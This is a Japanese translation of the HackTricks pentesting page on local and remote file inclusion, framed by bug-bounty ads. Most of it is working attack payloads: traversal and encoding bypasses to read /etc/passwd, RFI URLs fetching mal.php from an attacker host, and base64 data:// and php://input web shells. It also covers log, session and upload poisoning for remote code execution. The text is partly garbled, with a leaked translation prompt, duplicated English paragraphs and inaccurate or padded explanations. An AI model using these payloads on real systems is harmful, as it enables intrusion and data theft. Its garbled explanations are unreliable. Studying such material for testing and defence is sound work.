hacktricks/pentesting-web/file-inclusion/README.md

47 KiB
Raw Blame History

ファイルインクルージョン/パストラバーサル

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

HackenProofはすべての暗号バグバウンティの場所です。

遅延なしで報酬を受け取る
HackenProofのバウンティは、顧客が報酬予算を入金した後にのみ開始されます。バグが検証された後に報酬を受け取ることができます。

Web3ペントestingの経験を積む
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットですその成長期におけるweb3セキュリティをマスターしましょう。

Web3ハッカーレジェンドになる
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。

HackenProofでサインアップして、ハッキングから報酬を得ましょう!

{% embed url="https://hackenproof.com/register" %}

ファイルインクルージョン

リモートファイルインクルージョンRFI ファイルはリモートサーバーからロードされます最適コードを書いてサーバーが実行します。PHPでは、これはデフォルトで無効になっています(allow_url_include)。
ローカルファイルインクルージョンLFI サーバーがローカルファイルをロードします。

この脆弱性は、ユーザーがいかなる方法でサーバーがロードするファイルを制御できる場合に発生します。

脆弱なPHP関数require、require_once、include、include_once

この脆弱性を悪用するための興味深いツール:https://github.com/kurobeats/fimap

Blind - Interesting - LFI2RCE files

wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

複数の*nix LFIリストを組み合わせ、さらにパスを追加して、次のリストを作成しました:

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}

/\に変更してみてください
../../../../../を追加してみてください

脆弱性の存在を確認するために、/etc/passwordファイルを見つけるために複数の技術を使用するリストはこちらで見つけることができます。

Windows

複数のリストを統合して、次のリストを作成しました:

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}

/\に変更してみてください
C:/を削除して../../../../../を追加してみてください

脆弱性の存在を確認するために、/boot.iniファイルを見つけるために複数の技術を使用するリストはこちらで見つけることができます。

OS X

LinuxのLFIリストを確認してください。

基本的なLFIとバイパス

すべての例はローカルファイルインクルージョンのためのものですが、リモートファイルインクルージョンにも適用することができますpage=[http://myserver.com/phpshellcode.txt\](http://myserver.com/phpshellcode.txt)/)。

http://example.com/index.php?page=../../../etc/passwd

非再帰的に剥奪されたトラバーサルシーケンス

In this technique, we will focus on exploiting file inclusion vulnerabilities by using traversal sequences that have been stripped non-recursively. This means that we will not be using recursive traversal sequences like "../" or ".." to navigate through directories.

この技術では、再帰的に剥奪されたトラバーサルシーケンスを使用して、ファイルインクルージョンの脆弱性を悪用します。つまり、"../"や".."のような再帰的なトラバーサルシーケンスを使用せずに、ディレクトリをナビゲートします。

Instead, we will focus on using non-recursive traversal sequences such as "..%c0%af" or "..%252f" to bypass input filters and access files outside of the intended directory.

代わりに、"..%c0%af"や"..%252f"などの非再帰的なトラバーサルシーケンスを使用して、入力フィルタをバイパスし、意図したディレクトリの外部のファイルにアクセスすることに焦点を当てます。

By understanding how the application handles user input and filters traversal sequences, we can craft payloads that exploit file inclusion vulnerabilities and retrieve sensitive information or execute arbitrary code.

ユーザーの入力を処理し、トラバーサルシーケンスをフィルタリングするアプリケーションの動作を理解することで、ファイルインクルージョンの脆弱性を悪用するペイロードを作成し、機密情報を取得したり、任意のコードを実行したりすることができます。

It is important to note that the effectiveness of this technique may vary depending on the specific implementation of the file inclusion vulnerability and the security measures in place.

この技術の有効性は、ファイルインクルージョンの脆弱性の具体的な実装とセキュリティ対策によって異なることに注意してください。

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

ヌルバイト(%00

提供された文字列の末尾に追加の文字をバイパスする(バイパス方法:$_GET['param']."php"

http://example.com/index.php?page=../../../etc/passwd%00

これはPHP 5.4以降で解決済みです

エンコーディング

ダブルURLエンコードおよびその他のような非標準のエンコーディングを使用することができます

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

既存のフォルダから

おそらくバックエンドはフォルダのパスをチェックしています。

http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

サーバー上のフォルダーの特定

アプリケーションのコードや許可された文字によっては、ファイルだけでなくフォルダーも再帰的に探索することができる場合があります。そのためには、次の手順を実行します。

  • 現在のディレクトリの「深さ」を特定するために、/etc/passwdLinuxの場合を正常に取得します。
http://example.com/index.php?page=../../../etc/passwd # depth of 3
  • 現在のディレクトリにあるフォルダの名前を推測し、フォルダ名(ここでは private)を追加してから /etc/passwd に戻ります。
http://example.com/index.php?page=private/../../../../etc/passwd # we went deeper down one level, so we have to go 3+1=4 levels up to go back to /etc/passwd
  • アプリケーションが脆弱である場合、リクエストには2つの異なる結果があります
  • エラー/出力がない場合、この場所には private フォルダが存在しません
  • /etc/passwd からコンテンツを取得した場合、現在のディレクトリに private フォルダが存在することが確認されます
  • このテクニックを使用して発見したフォルダは、クラシックなLFIメソッドを使用してファイルまたは同じテクニックを再帰的に使用してサブディレクトリに対してファズテストを実行できます。

このテクニックを使用して、ファイルシステム内の任意の場所にディレクトリを見つけることも可能です。たとえば、同じ仮定ファイルシステムの深さ3の現在のディレクトリの下で、/var/www/private ディレクトリが含まれているかどうかを確認する場合、次のペイロードを使用します:

http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

次のコマンドのシーケンスは、sed1を使用してペイロードを生成し、ffuf2などのURLファジングツールの入力として使用することができます。

$ sed 's/^/-H "X-Original-URL: /;s/$/"/' payloads.txt | ffuf -w - -u FUZZ -H "Host: example.com" -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" -mc all -ac

このコマンドのシーケンスは、payloads.txtファイル内の各ペイロードに対してsedを使用して変換を行い、その結果をffufに渡します。sedコマンドは、各行の先頭に-H "X-Original-URL: を追加し、行の末尾に"を追加します。これにより、ffufは各ペイロードをFUZZとしてURLに挿入することができます。また、ffufにはヘッダー情報(HostUser-Agent)が指定されており、-mc allオプションを使用して全てのステータスコードを表示し、-acオプションを使用して全てのコンテンツを表示します。

$ sed 's_^_../../../var/www/_g' /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt | sed 's_$_/../../../etc/passwd_g' > payloads.txt
$ ffuf -u http://example.com/index.php?page=FUZZ -w payloads.txt -mr "root"

当然、深さ/場所/入力ディレクトリリストに応じてペイロードを適応させてください。

パスの切り詰め

提供された文字列の末尾にさらに文字を追加することを回避します(回避方法:$_GET['param']."php"

In PHP: /etc/passwd = /etc//passwd = /etc/./passwd = /etc/passwd/ = /etc/passwd/.
Check if last 6 chars are passwd --> passwd/
Check if last 4 chars are ".php" --> shellcode.php/.
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd..\.\.\.\.\.\.\.\.\.\.\[ADD MORE]\.\.
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.

#With the next options, by trial and error, you have to discover how many "../" are needed to delete the appended string but not "/etc/passwd" (near 2027)

http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

常に、パスを偽のディレクトリa/)で始めるようにしてください。

この脆弱性はPHP 5.3で修正されました。

フィルターバイパスのトリック

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

リモートファイルインクルージョン

PHPでは、これはデフォルトで無効になっています。なぜなら、allow_url_includeOff になっているからです。これを動作させるには、On にする必要があります。その場合、サーバーからPHPファイルをインクルードしてRCEを取得することができます。

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

もし何らかの理由で**allow_url_includeOnになっているが、PHPが外部のウェブページへのアクセスをフィルタリング**している場合、この投稿によると、例えばデータプロトコルを使用してbase64でエンコードされたPHPコードをデコードし、RCEを取得することができます。

{% code overflow="wrap" %}

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

{% endcode %}

{% hint style="info" %} 前のコードでは、最後の +.txt が追加されました。攻撃者は .txt で終わる文字列が必要だったため、その部分でジャンクが返され、実際のPHPコードが含まれしたがって、実行されます。 {% endhint %}

別の例は、php:// プロトコルを使用しないものです:

{% code overflow="wrap" %}

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

{% endcode %}

Pythonのルート要素

Pythonでは、次のようなコードでルート要素を指定します。

# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

ユーザーが絶対パスを**file_name**に渡す場合、前のパスは単に削除されます。

os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

以下は、ハッキング技術に関する本の内容です。以下の内容は、pentesting-web/file-inclusion/README.mdファイルからのものです。関連する英文を日本語に翻訳し、翻訳を返し、マークダウンとHTMLの構文を完全に保持してください。コード、ハッキング技術の名前、ハッキングの言葉、クラウド/SaaSプラットフォームの名前Workspace、aws、gcpなど、'leak'という単語、pentesting、およびマークダウンタグなどは翻訳しないでください。また、翻訳とマークダウンの構文以外の追加の要素は追加しないでください。

これは[ドキュメント](https://docs.python.org/3.10/library/os.path.html#os.path.join)による意図された動作です:

> コンポーネントが絶対パスである場合、以前のすべてのコンポーネントは破棄され、絶対パスコンポーネントからの結合が続行されます。

## Javaディレクトリのリスト

Javaでパストラバーサルがある場合、**ファイルの代わりにディレクトリを要求**すると、**ディレクトリのリストが返されます**。これは他の言語では起こりません(私の知る限り)。

## 上位25のパラメータ

以下は、ローカルファイルインクルージョンLFIの脆弱性に対して脆弱性のある可能性のある上位25のパラメータのリストです[リンク](https://twitter.com/trbughunters/status/1279768631845494787)から):
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

PHPラッパーとプロトコルを使用したLFI / RFI

php://filter

PHPフィルターを使用すると、データを読み取る前または書き込む前に基本的な変更操作を行うことができます。フィルターには5つのカテゴリがあります

  • 文字列フィルター:
  • string.rot13
  • string.toupper
  • string.tolower
  • string.strip_tags: データからタグを削除します("<"と">"の間のすべての文字)
  • このフィルターは、最新バージョンのPHPから消えています
  • 変換フィルター
  • convert.base64-encode
  • convert.base64-decode
  • convert.quoted-printable-encode
  • convert.quoted-printable-decode
  • convert.iconv.* : 異なるエンコーディングに変換します(convert.iconv.<input_enc>.<output_enc>)。サポートされているすべてのエンコーディングのリストを取得するには、コンソールで次のコマンドを実行します:iconv -l

{% hint style="warning" %} convert.iconv.* 変換フィルターを悪用すると、任意のテキストを生成することができます。これは、任意のテキストを書き込むか、任意のテキストを含む関数を作成するのに役立つ場合があります。詳細については、phpフィルターを介したLFI2RCEを参照してください。 {% endhint %}

  • 圧縮フィルター
  • zlib.deflate: コンテンツを圧縮します(大量の情報を外部に持ち出す場合に便利です)
  • zlib.inflate: データを解凍します
  • 暗号化フィルター
  • mcrypt.* : 廃止予定
  • mdecrypt.* : 廃止予定
  • その他のフィルター
  • phpで実行すると、いくつかの予期しないフィルターが見つかる場合があります:var_dump(stream_get_filters());
  • consumed
  • dechunk: HTTPチャンクエンコーディングを逆転させます
  • convert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

{% hint style="warning" %} 「php://filter」という部分は大文字小文字を区別しません {% endhint %}

php://fd

このラッパーは、プロセスが開いているファイルディスクリプタにアクセスすることを可能にします。開かれたファイルの内容を外部に持ち出すのに役立つ可能性があります。

echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

以下のように、php://stdin、php://stdout、および php://stderr を使用して、それぞれ ファイルディスクリプタ 0、1、および 2 にアクセスすることもできます(攻撃にどのように役立つかはわかりません)

zip:// および rar://

PHPShell が含まれた Zip または Rar ファイルをアップロードしてアクセスします。
rar プロトコルを悪用するためには、明示的に有効化する必要があります

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

data://は、ファイルインクルージョンFile Inclusion攻撃の一種です。この攻撃は、ウェブアプリケーションが外部のファイルを読み込む際に、ユーザーが制御できるパラメータを使用している場合に悪用されます。

この攻撃では、攻撃者はユーザーが制御できるパラメータに特殊な値を注入し、ウェブアプリケーションがその値をファイルパスとして解釈するように誘導します。攻撃者は、任意のファイルを読み込むことができるため、機密情報の漏洩やシステムの乗っ取りなどの悪影響を引き起こす可能性があります。

data://スキームは、攻撃者が攻撃に使用する特殊な値を指定するために使用されます。このスキームは、データを直接URLに埋め込むことができるため、攻撃者は任意のデータを注入することができます。

ウェブアプリケーションの開発者は、ユーザーが制御できるパラメータを使用する際に、適切な入力検証とエスケープ処理を実装することが重要です。また、セキュリティテスト(ペネトレーションテスト)を定期的に実施することで、潜在的な脆弱性を特定し、修正することが推奨されます。

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

楽しい事実XSSをトリガーし、Chromeオーディターをバイパスすることができます。以下のコードを使用しますhttp://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+

ただし、このプロトコルはphpの設定で制限されています。allow_url_openallow_url_include を設定する必要があります。

expect://

Expectを有効にする必要があります。これを使用してコードを実行できます。

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

POSTパラメーターにペイロードを指定してください。

http://example.com/index.php?page=php://input
POST DATA: <?php system('id'); ?>

phar://

ウェブがファイルをロードするためにincludeのような関数を使用している場合、.pharファイルを使用してPHPコードを実行することもできます。

{% code title="create_phar.php" %}

<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');

$phar->stopBuffering();

{% endcode %}

そして、次の行を実行してpharをコンパイルすることができます。

php --define phar.readonly=0 create_path.php

test.pharというファイルが生成されます。これを使用してLFIを悪用することができます。

LFIが単にファイルを読み取り、その中のPHPコードを実行しない場合、例えばfile_get_contents()fopen()file()file_exists()md5_file()filemtime()filesize()などの関数を使用している場合、pharプロトコルを使用してファイルを読み取る際に発生する逆シリアル化を悪用することができます。 詳細については、次の投稿を読んでください:

{% content-ref url="phar-deserialization.md" %} phar-deserialization.md {% endcontent-ref %}

その他のプロトコル

ここに含める可能性のあるプロトコルチェックしてください**

  • php://memoryとphp://temp — メモリまたは一時ファイルに書き込む(ファイルインクルージョン攻撃でどのように役立つかはわかりません)
  • file:// — ローカルファイルシステムへのアクセス
  • http:// — HTTP(s)のURLへのアクセス
  • ftp:// — FTP(s)のURLへのアクセス
  • zlib:// — 圧縮ストリーム
  • glob:// — パターンに一致するパス名を検索(印刷可能なものを返さないため、ここではあまり役に立ちません)
  • ssh2:// — セキュアシェル2
  • ogg:// — オーディオストリーム(任意のファイルを読み取るのには役に立ちません)

PHPの'assert'を使用したLFI

".. "などのトラバーサル文字列をフィルタリングしているような難解なLFIに遭遇し、"Hacking attempt"や"Nice try!"などの応答が返される場合、'assert'インジェクションペイロードが機能するかもしれません。

次のようなペイロード:

' and die(show_source('/etc/passwd')) or '

次に、このような「file」パラメータを持つPHPコードを正常に悪用します。

assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

次に、system()関数を使用して脆弱な「assert」ステートメントでRCEリモートコード実行を行う方法があります。

' and die(system("whoami")) or '

URL-encode payloads before you send them.

HackenProofはすべての暗号バグ報奨金の場所です。

遅延なしで報酬を受け取る
HackenProofの報奨金は、顧客が報奨金予算を入金した後にのみ開始されます。バグが検証された後に報酬を受け取ることができます。

Web3ペンテストの経験を積む
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです急成長するWeb3セキュリティをマスターしましょう。

Web3ハッカーレジェンドになる
各検証済みのバグで評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。

HackenProofでサインアップしてハッキングから報酬を得ましょう!

{% embed url="https://hackenproof.com/register" %}

PHP Blind Path Traversal

{% hint style="warning" %} このテクニックは、PHP関数ファイルにアクセスするファイルパス制御できる場合に関連しますが、ファイルの内容(単純な**file()**の呼び出しのように)は表示されません。 {% endhint %}

この素晴らしい投稿では、PHPフィルタを使用してブラインドパストラバーサルを悪用して、エラーオラクルを介してファイルの内容を外部に流出させる方法が説明されています。

要約すると、このテクニックは、「UCS-4LE」エンコーディングを使用してファイルの内容を非常に大きくすることで、ファイルを開くPHP関数がエラーをトリガーするようにします。

次に、最初の文字を漏洩させるために、フィルタ**dechunkを他のフィルタ(base64rot13など)と組み合わせて使用し、最後にフィルタconvert.iconv.UCS-4.UCS-4LEconvert.iconv.UTF16.UTF-16BE**を使用して他の文字を先頭に配置し、それらを漏洩させます。

脆弱性のある可能性のある関数: file_get_contentsreadfilefinfo->filegetimagesizemd5_filesha1_filehash_filefileparse_ini_filecopyfile_put_contentsこれには読み取り専用のターゲットのみが対象stream_get_contentsfgetsfreadfgetcfgetcsvfpassthrufputs

詳細な技術情報については、上記の投稿を確認してください!

LFI2RCE

リモートファイルインクルージョン

以前に説明した方法については、このリンクを参照してください。

Apache/Nginxログファイル経由

ApacheまたはNginxサーバーがinclude関数内でLFIに対して脆弱である場合、/var/log/apache2/access.logまたは/var/log/nginx/access.logにアクセスし、ユーザーエージェントまたはGETパラメータに**<?php system($_GET['c']); ?>**のようなPHPシェルを設定して、そのファイルをインクルードすることができます。

{% hint style="warning" %} シェルにはシングルクォートではなくダブルクォートを使用すると、ダブルクォートが文字列"quote;"に変更され、PHPはそこでエラーをスローし、それ以外の処理は実行されません

また、ペイロードを正しく記述することを確認してください。そうしないと、PHPがログファイルを読み込もうとするたびにエラーが発生し、2回目の機会はありません。 {% endhint %}

これは他のログでも行うことができますが、注意してください、ログ内のコードはURLエンコードされている可能性があり、これによりシェルが破壊される可能性があります。ヘッダー**authorisation "basic"**にはBase64で"user:password"が含まれ、ログ内でデコードされます。PHPシェルはこのヘッダーに挿入することができます。 他の可能なログパス:

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

メール経由

内部アカウントuser@localhostにPHPのペイロード<?php echo system($_REQUEST["cmd"]); ?>)を含むメールを送信し、**/var/mail/<USERNAME>または/var/spool/mail/<USERNAME>**のパスでユーザーのメールをインクルードしようとしてください。

/proc/*/fd/*を介して

  1. シェルをたくさんアップロードします100個
  2. http://example.com/index.php?page=/proc/$PID/fd/$FDをインクルードします。ここで、$PIDはプロセスのPIDブルートフォースで見つけることができますであり、$FDはファイルディスクリプタこれもブルートフォースで見つけることができますです。

/proc/self/environを介して

ログファイルのように、User-Agentでペイロードを送信します。これにより、/proc/self/environファイル内に反映されます。

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

アップロード経由

ファイルをアップロードできる場合は、シェルのペイロードを注入します(例:<?php system($_GET['c']); ?>)。

http://example.com/index.php?page=path/to/uploaded/file.png

ファイルを読みやすく保つために、写真/ドキュメント/PDFのメタデータにインジェクトするのが最適です。

Zipファイルのアップロード経由

PHPシェルが圧縮されたZIPファイルをアップロードし、アクセスします。

example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

PHPセッションを介して

ウェブサイトがPHPセッションPHPSESSIDを使用しているかどうかを確認します。

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

PHPでは、これらのセッションは_/var/lib/php5/sess\_[PHPSESSID]_ファイルに保存されます。

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

クッキーを <?php system('cat /etc/passwd');?> に設定します。

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

ファイルインクルージョンFile Inclusionを使用してPHPセッションファイルをインクルードする

このテクニックでは、ローカルファイルインクルージョンLocal File Inclusion, LFIを使用して、ターゲットのウェブアプリケーションにおいてPHPセッションファイルをインクルードします。

攻撃手法の概要

  1. ターゲットのウェブアプリケーションにおいて、LFI脆弱性が存在するか確認します。
  2. LFI脆弱性を利用して、ウェブアプリケーションのファイルインクルード機能を悪用します。
  3. インクルードパラメータにPHPセッションファイルのパスを指定し、セッションデータを取得します。

攻撃手順

  1. ターゲットのウェブアプリケーションにおいて、LFI脆弱性が存在するか確認します。通常、以下のようなパラメータを利用してLFIを試みます。

    http://example.com/index.php?page=../../etc/passwd
    

    上記の例では、pageパラメータに../../etc/passwdを指定しています。

  2. LFI脆弱性が存在する場合、ウェブアプリケーションのファイルインクルード機能を悪用します。以下のようなパラメータを利用して、ファイルインクルードを試みます。

    http://example.com/index.php?page=/etc/passwd
    

    上記の例では、pageパラメータに/etc/passwdを指定しています。

  3. インクルードパラメータにPHPセッションファイルのパスを指定し、セッションデータを取得します。以下のようなパラメータを利用します。

    http://example.com/index.php?page=/var/lib/php/sessions/sess_1234567890abcdef
    

    上記の例では、pageパラメータに/var/lib/php/sessions/sess_1234567890abcdefを指定しています。

対策方法

以下の対策方法を実施することで、LFI攻撃からウェブアプリケーションを保護することができます。

  • 入力検証とエスケープ処理を適切に行う。
  • ホワイトリスト方式を使用して、許可されたファイルのみをインクルードする。
  • セッションファイルの保存場所を適切に設定する。
  • セッションIDの推測を困難にするため、セッションIDの長さを増やす。
  • セッションIDをランダムな値にするため、セッションIDの生成方法を変更する。

以上が、LFIを使用してPHPセッションファイルをインクルードする攻撃手法の概要と対策方法です。

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

SSHを介して

sshがアクティブな場合は、使用されているユーザーを確認します/proc/self/statusおよび/etc/passwdし、<HOME>/.ssh/id_rsaにアクセスを試みます。

vsftpdログを介して

このFTPサーバーのログは、_/var/log/vsftpd.log_に保存されます。LFIを持っていて公開されたvsftpdサーバーにアクセスできる場合、PHPペイロードをユーザー名に設定してログインを試み、LFIを使用してログにアクセスできます。

PHPベース64フィルターを介してbase64を使用

この記事に示されているように、PHPベース64フィルターは非ベース64を無視します。これを利用して、ファイル拡張子のチェックをバイパスできます。もしも「.php」で終わるbase64を提供すると、フィルターは「.」を無視してbase64に「php」を追加します。以下は例です。

http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

PHPフィルタを介してファイル不要

この解説記事では、phpフィルタを使用して任意のコンテンツを生成し、出力として使用できることが説明されています。つまり、ファイルに書き込む必要なしに、インクルードのための任意のphpコードを生成できます。

{% content-ref url="lfi2rce-via-php-filters.md" %} lfi2rce-via-php-filters.md {% endcontent-ref %}

セグメンテーションフォールトを介して

/tmpに一時的に保存されるファイルをアップロードし、同じリクエストセグメンテーションフォールトをトリガーすると、一時ファイルが削除されないため、それを検索できます。

{% content-ref url="lfi2rce-via-segmentation-fault.md" %} lfi2rce-via-segmentation-fault.md {% endcontent-ref %}

Nginxの一時ファイルストレージを介して

ローカルファイルインクルージョンを見つけ、NginxがPHPの前で実行されている場合、次のテクニックを使用してRCEを取得できるかもしれません。

{% content-ref url="lfi2rce-via-nginx-temp-files.md" %} lfi2rce-via-nginx-temp-files.md {% endcontent-ref %}

PHP_SESSION_UPLOAD_PROGRESSを介して

セッションがない場合でも、session.auto_startOffである場合でも、ローカルファイルインクルージョンを見つけた場合、PHP_SESSION_UPLOAD_PROGRESSマルチパートPOSTデータで提供すると、PHPはセッションを有効にします。これを悪用してRCEを取得できます。

{% content-ref url="via-php_session_upload_progress.md" %} via-php_session_upload_progress.md {% endcontent-ref %}

Windowsでの一時ファイルアップロードを介して

ローカルファイルインクルージョンを見つけ、サーバーがWindowsで実行されている場合、RCEを取得できるかもしれません。

{% content-ref url="lfi2rce-via-temp-file-uploads.md" %} lfi2rce-via-temp-file-uploads.md {% endcontent-ref %}

phpinfo()file_uploads = onを介して

ローカルファイルインクルージョンを見つけ、file_uploads = onで**phpinfo()**を公開するファイルがある場合、RCEを取得できます。

{% content-ref url="lfi2rce-via-phpinfo.md" %} lfi2rce-via-phpinfo.md {% endcontent-ref %}

compress.zlib + PHP_STREAM_PREFER_STUDIO + パスの開示を介して

ローカルファイルインクルージョンを見つけ、一時ファイルのパスを外部に漏洩できるが、サーバーインクルードするファイルにPHPマークがあるかどうかをチェックしている場合、この競合状態を使用してそのチェックをバイパスすることができます。

{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %} lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md {% endcontent-ref %}

永遠の待機 + ブルートフォースを介して

LFIを悪用して一時ファイルをアップロードし、サーバーのPHP実行を停止させることができれば、その後、数時間にわたってファイル名をブルートフォースして一時ファイルを見つけることができます。

{% content-ref url="lfi2rce-via-eternal-waiting.md" %} lfi2rce-via-eternal-waiting.md {% endcontent-ref %}

致命的なエラーへ

/usr/bin/phar/usr/bin/phar7/usr/bin/phar.phar7/usr/bin/phar.pharのいずれかのファイルをインクルードします同じものを2回インクルードする必要があります

これがどのように有用かはわかりませんが、有用かもしれません。
PHP致命的なエラーを引き起こしても、アップロードされたPHP一時ファイルは削除されます。

参考文献

PayloadsAllTheThings
PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders

{% file src="../../.gitbook/assets/EN-Local-File-Inclusion-1.pdf" %}

HackenProofはすべての暗号バグ報奨金の場所です。

遅延なしで報酬を受け取る
HackenProofの報奨金は、顧客が報酬予算を入金した後に開始されます。バグが検証された後に報酬を受け取ることができます。

Web3ペントestingの経験を積む
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです成長途中のweb3セキュリティをマスターしましょう。

Web3ハッカーレジェンドになる
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。

HackenProofでサインアップしてハッキングから報酬を得ましょう!

{% embed url="https://hackenproof.com/register" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥